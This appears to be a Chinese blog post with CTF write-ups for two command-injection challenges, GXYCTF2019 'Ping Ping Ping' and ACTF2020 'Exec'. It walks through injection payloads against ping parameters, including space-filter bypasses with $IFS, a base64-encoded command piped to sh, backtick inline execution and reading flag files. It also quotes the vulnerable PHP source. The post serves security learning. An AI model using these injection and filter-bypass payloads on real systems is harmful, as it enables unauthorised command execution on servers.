持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第12天,点击查看活动详情
[GXYCTF2019]Ping Ping Ping
开局只有个/?ip=
F12查看下,啥都没有,于是我们尝试PING一下//所谓的PING命令其实就是用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包,再根据返回的信息,就可以推断TCP/IP参数是否设置正确,以及运行是否正常、网络是否通畅等。
于是尝试随便PING一下
http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2
返回PING 2 (0.0.0.2): 56 data bytes 、、成功了
不知该干啥了试试用ls查下目录
http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2;ls
出了flag.php
index.php
尝试cat flag.php
http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2;cat%20flag.php
返回/?ip= fxck your space!
此路不通,空格被过滤了,
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
第一个
/?ip= 1fxck your symbol! 、、符号被过滤了
第二个
/?ip= fxck your flag! //明flag被过滤了咋搞
此路不通,看一看index.php
/?ip=
|'|"|\|(|)|[|]|{|}/", $ip, $match)){
echo preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
bash也被过滤
被过滤的bash,用管道+sh替换
cat flag.php用base64加密来绕过正则匹配
Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo1Y2F0IGZsYWcucGhw|base641-d|bash
//?ip= fxck your bash!
过滤了flag、bash,但sh没过滤,linux下可用sh
?ip=127.0.0.1;echo1Y2F0IGZsYWcucGhw|base641-d|sh
1
|sh 就是执行前面的echo脚本
?ip=2;a=g;cat$IFS$1fla$a.php; flag{ae5f2e24-33a3-4763-adec-ba1b08b271e8}
方法2:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //管道符,base64echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
其它绕过方法就不讲了
内敛绕过
内敛绕过
内联,就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$1`ls`
[ACTF2020 新生赛]Exec
开局给了个ping框,我们试一试ping本地127.0.0.1
ping成功,接下来我们试一试用ls查看下
127.0.0.1&ls
查看成功
没有flag,所以猜测不在该目录下
那我们试一试上级目录
127.0.0.1&ls ../ //还是没有,所以继续
加了三个之后发现flag
127.0.0.1&ls ../../../
我们尝试查看
127.0.0.1&cat ../../../flag
直接出了flag